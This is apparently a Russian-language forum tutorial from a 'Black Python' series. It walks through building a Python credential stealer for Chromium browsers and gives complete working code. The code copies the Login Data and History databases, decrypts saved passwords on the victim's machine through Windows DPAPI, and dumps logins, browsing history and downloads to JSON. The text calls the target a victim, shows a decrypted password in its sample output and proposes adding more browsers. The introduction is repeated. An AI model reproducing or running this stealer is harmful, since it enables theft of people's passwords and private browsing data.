Алоха, слушатель.
В пятой статье цикла Black Python научу тебя забирать пароли, историю и список загрузок из браузеров на основе движка Chromium.
![bp_browser.jpg bp_browser.jpg](https://vlmi.one/data/attachments/17/17023-a7c3af0fabecc822ac181970a4292084.jpg)
Хитрость движка заключается в том, что нельзя просто взять файлы с компьютера жертвы и расшифровать уже на своем, так как используется шифрование данных на основе состояния компьютера(DPAPI). Поэтому будем расшифровывать пароли на компьютере жертвы, и делать дамп в читаемом виде (json).
Browser Data
Возможности
Использовать будем библиотеки:
Информация, которую мы хотим получить находится глубоко в папке AppData в файлах:
Приступим к кодингу. Опишем базовые инструкции для получения данных браузера Google Chrome:
На экране будет выведен список (при условии, что google chrome установлен и не запущен).
Пароли зашифрованны, расшифровывать будем с помощью модуля win32crypt.
Внесем данные в структуру и сразу расшифруем пароли:
Теперь разберем историю chrome:
С основным механизмом разобрались, теперь перейдем к рефакторингу.
Основные требования:
Полученный код с комментариями:
Не забываем про
Содержание файлов additional.py и error_log.py приводить не буду - есть в предыдущих статьях.
Результат
История и загрузки получаются из всех трех браузеров, а пароли только из Chrome и Opera. Это связано с тем, что yandex их шифрует в md5 (возможно,дополнительно).
Пути масштабирования:
В пятой статье цикла Black Python научу тебя забирать пароли, историю и список загрузок из браузеров на основе движка Chromium.
![bp_browser.jpg bp_browser.jpg](https://vlmi.one/data/attachments/17/17023-a7c3af0fabecc822ac181970a4292084.jpg)
Хитрость движка заключается в том, что нельзя просто взять файлы с компьютера жертвы и расшифровать уже на своем, так как используется шифрование данных на основе состояния компьютера(DPAPI). Поэтому будем расшифровывать пароли на компьютере жертвы, и делать дамп в читаемом виде (json).
Browser Data
Возможности
- Поддержка Chrome, Opera, Yandex(частично)
- Возможность простого добавления любых других Chromium
- Дамп данных в одну структуру (json)
Использовать будем библиотеки:
- sqlite3 - для работы с базами браузеров (стандартная)
- win32crypt - для расшифровки пароля (pip install pywin32)
Информация, которую мы хотим получить находится глубоко в папке AppData в файлах:
- Login Data - база данных с зашифрованными паролями
- History - база данных с историей просмотров и загрузок
Приступим к кодингу. Опишем базовые инструкции для получения данных браузера Google Chrome:
Python:
import os
import sqlite3
def main():
# Определяем путь к папке с данными браузера Google Chrome
# os.path.join - правильное объединение пути, expanduser - найти папку пользователя
path = os.path.join(os.path.expanduser('~'), 'AppData', 'Local', 'Google', 'Chrome', 'User Data', 'Default')
# найдем путь к файлу с паролями
login_data = os.path.join(path, 'Login Data')
# Подключимся к базе данных
conn = sqlite3.connect(login_data)
# поставим курсор
cursor = conn.cursor()
# определим sql запрос с выборкой полей: сайт, имя пользователя, пароль
cmd_passwords = "SELECT origin_url, username_value, password_value FROM 'logins';"
# выполним команду
cursor.execute(cmd_passwords)
# Скопируем результат выполнения запроса
passwords = cursor.fetchall()
# закрываем соединение
conn.close()
# выводим на экран найденные данные
print(passwords)
if __name__ == '__main__':
main()
На экране будет выведен список (при условии, что google chrome установлен и не запущен).
JSON:
[('http://127.0.0.1:8000/admin/login/', 'gh0stage', b'\x01\x00\x00\x00\xd0\x8c\x9d\xdf\x01\x15\xd1\x11\x8cz\x00\xc0O\xc2\x97\xeb\x01\x00\x00\x00*\x87\xe5\x9d\x06\xc08G\xb1EC%v~\xf4 \x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x10f\x00\x00\x00\x01\x00\x00 \x00\x00\x00\x111)\x9f\xee\xbc)\xfc\x15\t\x97\xfe\x03\x8c\x1d\x8d<z\xba\xac\xce*\xd6\x0b\xa2M\xa2\xe8^A\xe9=\x00\x00\x00\x00\x0e\x80\x00\x00\x00\x02\x00\x00 \x00\x00\x00\x1d\xf0\xbeH\xa9\x9a\xc3\xbe\xb1#\xd2f\xf6o\xb3_\xb7\xa5\xc5\xad\x91\xcd\xfcG\xb5\xdfD\x8c\xfd\xecJ\xaf\x10\x00\x00\x00y\xa7g\xb8Y\x03\x1c/\x01\xb4;\xb5Z\xbd\xb9\xa2@\x00\x00\x00\r[\x04\x11$fS5\xc8\x9a\xf3\x0f\xeef\xa7\x0c\xd6~y\x97\xcc \nQM@y\xda\xe4\x81\x92>\xb5q\xacK\xe6/\xda\xdb\xa6\x17\x0b7\\1\xec4\x18\x85\x8f\x10g,\xf6\xf5\x8ad\x13\t\xd2#\x9b\x88')]
Пароли зашифрованны, расшифровывать будем с помощью модуля win32crypt.
Внесем данные в структуру и сразу расшифруем пароли:
pip install pywin32
Python:
# функция для расшифровки DPAPI
from win32crypt import CryptUnprotectData as UncryptPass
browser_data = []
# passwords - структура из трех полей
# проходим по всем записям с паролями
for site, login, password in passwords:
# добавление структуры в список, расшифровка пароля
browser_data.append({'site': site, 'login': login, 'password': UncryptPass(password)[1].decode('utf-8')})
# вывод записей паролей на экран
print(browser_data)
JSON:
[{'site': 'http://127.0.0.1:8000/admin/login/', 'login': 'gh0stage', 'password': '7128gh0django'}]
Теперь разберем историю chrome:
Python:
# аналогичные действия для History
conn = sqlite3.connect(os.path.join(path, 'History'))
cursor = conn.cursor()
cmd_downloads = "SELECT target_path, total_bytes, site_url, tab_url, mime_type FROM 'downloads';"
cmd_history = "SELECT url, title, visit_count, last_visit_time FROM 'urls';"
cursor.execute(cmd_history)
history = cursor.fetchall()
cursor.execute(cmd_downloads)
downloads = cursor.fetchall()
conn.close()
print(history)
print(downloads)
С основным механизмом разобрались, теперь перейдем к рефакторингу.
Основные требования:
- Поддержка Chrome, Yandex, Opera
- Возможность простого добавления любых других Chromium
- Преобразование размера скачиваемых файлов в читаемый вид
- Преобразование дат в читаемый вид
- Дамп данных в одну структуру (json)
- Избавление от ошибки открытого браузера
- Менеджер для связи с конфигом
Полученный код с комментариями:
Не забываем про
pip install pywin32
Код:
import datetime
import json
import os
import shutil
import sqlite3
from win32crypt import CryptUnprotectData as UncryptPass
from additional import make_folders
from error_log import ErrorLog
# Функция для преобразования таймштампов в читаемый вид
def from_timestamp(timestamp):
return str(datetime.datetime.fromtimestamp((timestamp / 1000000 - 11644473600) // 1))
# Преобразование размера в читаемый вид
def user_friendly_size(size):
suffix_set = ['bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB']
level = 0
while size > 1024:
level += 1
size = size / 1024
suffix = suffix_set[level]
if level != 0: size = f'{size:.2f}'
return f'{size} {suffix}'
# Основной класс модуля
class BrowserData:
# SQL-запросы для получения паролей, историю просмотра и скачиваний
commands = {
"passwords": "SELECT origin_url, username_value, password_value FROM 'logins';",
"downloads": "SELECT target_path, total_bytes, site_url, tab_url, mime_type FROM 'downloads';",
"history": "SELECT url, title, visit_count, last_visit_time FROM 'urls';"
}
def __init__(self):
# лог ошибок
self.error_log = ErrorLog()
# Список браузеров для которых ведется поиск данных
self.browsers = [
# {'name' - название браузера,
# 'path' - список папок к данным (после AppData),
# 'data': файл Login Data,
# 'history': файл с историей}
{
'name': 'Opera',
'path': ['Roaming', 'Opera Software', 'Opera Stable'],
'data': 'Login Data',
'history': 'History'},
{
'name': 'Google',
'path': ['Local', 'Google', 'Chrome', 'User Data', 'Default'],
'data': 'Login Data',
'history': 'History'},
{
'name': 'Yandex',
'path': ['Local', 'Yandex', 'YandexBrowser', 'User Data', 'Default'],
'data': 'Ya Login Data',
'history': 'History'}]
# переменная для дампа данных
self.records = {}
self.fill_data()
# Функция по сборке пути
@staticmethod
def make_path(dirs):
# путь до AppData + path из инициализации браузера
paths = [os.path.expanduser('~'), 'AppData'] + [folder for folder in dirs]
result = ''
# Объединение путей в одну строку
for path in paths:
result = os.path.join(result, path)
return result
# функция заполнения данных
def fill_data(self):
# Для каждого браузера
for browser in self.browsers:
try:
# запускаем функцию копирования бд и получения информации
browser_data = self.copy_and_get(self.make_path(browser['path']), browser['data'], browser['history'])
# обновляем список записей
self.records.update({browser['name']: browser_data})
except Exception as e:
# если какая-то ошибка, то добавляем ее в лог
self.error_log.add('BrowserData (fill_data)', e)
# функция копирования бд и получения данных
def copy_and_get(self, path, login_data='Login Data', history='History'):
# если папка браузера существует, то
if os.path.exists(path):
records = {}
# проходим по списку файлов [login_data, history] с дополнительными параметрами поиска данных
for part_data in [(login_data, 'passwords'), (history, 'history', 'downloads')]:
try:
# Получаем оригинальный файл
original_file = os.path.join(path, part_data[0])
# получаем конечный файл
copy_file = f'{original_file}_copy'
# копируем в резервный файл
shutil.copy(original_file, copy_file)
# обновляем записи и запускаем сборщик данных для резервного файла с параметрами поиска
records.update(self.get_data_engine(copy_file, *part_data[1:]))
except Exception as e:
self.error_log.add('BrowserData (copy_and_get)', e)
return records
return None
def get_data_engine(self, path, *modes):
records = {}
try:
# Пробуем подключиться к базе
conn = sqlite3.connect(path)
# ставим курсор
cursor = conn.cursor()
# для каждого режима ([passwords] или [history, downloads])
for mode in modes:
# запускаем функцию выполнения команд
records.update({mode: self.get_data(cursor, mode)})
# закрываем соединение
conn.close()
except Exception as e:
self.error_log.add(f'BrowserData (get_data)', e)
return records
# функция исполнения команд и получения искомых структур
@staticmethod
def get_data(cursor, mode):
# выполнение команды
cursor.execute(BrowserData.commands[mode])
# в зависимости от режима возврат нужной структуры
if mode == 'history':
# + преобразование timestamp в читаемую дату
return [{'url': url, 'title': title, 'visit_count': visit_count, 'last_visit_timestamp': last_visit_time,
'last_visit_time': from_timestamp(last_visit_time)}
for url, title, visit_count, last_visit_time in cursor.fetchall()]
elif mode == 'downloads':
# + преобразование размера в читаемый вид
return [{'target_path': target_path, 'total_bytes': total_bytes, 'size': user_friendly_size(total_bytes),
'site_url': site_url, 'tab_url': tab_url, 'mime_type': mime_type}
for target_path, total_bytes, site_url, tab_url, mime_type in cursor.fetchall()]
elif mode == 'passwords':
# + расшифровка пароля
return [{"url": site, "login": login, "password": BrowserData.get_pwd(password)}
for site, login, password in cursor.fetchall()]
# функция расшифровки пароля
@staticmethod
def get_pwd(password):
try:
# с помощью функции UncryptPass
return UncryptPass(password)[1].decode('utf-8')
except:
# если не получилось, то сообщаем об этом и копируем зашифрованный пароль
return f"(NOT DECRYPT) {password.decode('utf-8')}"
# сохранение всех записей в файл
def save_data(self, filename):
with open(filename, 'w') as data_file:
json.dump(self.records, data_file)
def browser_data_manager(config):
browser_data = BrowserData()
make_folders(config['filename'])
browser_data.save_data(config['filename'])
browser_data.error_log.save_log(config['errors_log'])
if __name__ == '__main__':
try:
# Для изменения конфигурации "на лету" настройки будем получать из файла
with open('config.json', 'r') as config_file:
bd_config = json.load(config_file)
# Запуск механизма с загруженными настройками
browser_data_manager(bd_config)
except Exception as e:
print(e)
Содержание файлов additional.py и error_log.py приводить не буду - есть в предыдущих статьях.
pywin32==224
Результат
История и загрузки получаются из всех трех браузеров, а пароли только из Chrome и Opera. Это связано с тем, что yandex их шифрует в md5 (возможно,дополнительно).
Код:
{
"Opera": null,
"Google": {
"passwords": [
{
"url": "http://127.0.0.1:8000/admin/login/",
"login": "gh0stage",
"password": "7128gh0django"
}
],
"history": [
{
"url": "http://utorrentinfo.ru/",
"title": "uTorrent \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e \u043d\u0430 \u0440\u0443\u0441\u0441\u043a\u043e\u043c \u044f\u0437\u044b\u043a\u0435 | \u0421\u043a\u0430\u0447\u0430\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0442\u043e\u0440\u0440\u0435\u043d\u0442",
"visit_count": 1,
"last_visit_timestamp": 13188583631420615,
"last_visit_time": "2018-12-06 18:27:11"
}
],
"downloads": [
{
"target_path": "C:\\Users\\Gh0stage\\Downloads\\uTorrent.exe",
"total_bytes": 2741576,
"size": "2.61 MB",
"site_url": "http://utorrentinfo.ru/",
"tab_url": "http://utorrentinfo.ru/go/?http://download-hr.utorrent.com/track/stable/endpoint/utorrent/os/windows",
"mime_type": "application/x-msdownload"
}
]
},
"Yandex": {
"passwords": [
{
"url": "http://127.0.0.1:8000/admin/login/",
"login": "gh0stage",
"password": "(NOT DECRYPT) {\"c\":\"\",\"e\":\"\",\"p\":\"nhnd95xaK4YB+rx28zb1ZUxQzEZYvvvJfXDjbBSK/OXIc6/rhHPThB0=\"}"
}
],
"history": [
{
"url": "https://market.yandex.ru/?clid=2288477",
"title": "",
"visit_count": 0,
"last_visit_timestamp": 13188089069384693,
"last_visit_time": "2018-12-01 01:04:29"
}
],
"downloads": [
{
"target_path": "C:\\Users\\Gh0stage\\Downloads\\python-3.7.1.exe",
"total_bytes": 25537464,
"size": "24.35 MB",
"site_url": "https://python.org/",
"tab_url": "https://www.python.org/downloads/",
"mime_type": "application/octet-stream"
},
{
"target_path": "C:\\Users\\Gh0stage\\Downloads\\pycharm-community-2018.3.exe",
"total_bytes": 217462472,
"size": "207.39 MB",
"site_url": "https://jetbrains.com/",
"tab_url": "https://www.jetbrains.com/pycharm/download/download-thanks.html?platform=windows&code=PCC",
"mime_type": "binary/octet-stream"
},
{
"target_path": "C:\\Users\\Gh0stage\\Downloads\\AtomSetup-x64.exe",
"total_bytes": 146956832,
"size": "140.15 MB",
"site_url": "https://atom.io/",
"tab_url": "https://atom.io/",
"mime_type": "application/octet-stream"
}
]
}
}
- Расшифровка yandex паролей, а не только записи о сохраненном пароле (логин + зашифрованный пароль)
- Добавление других браузеров, например, Firefox - в нем другая структура хранения паролей другие методы шифровки.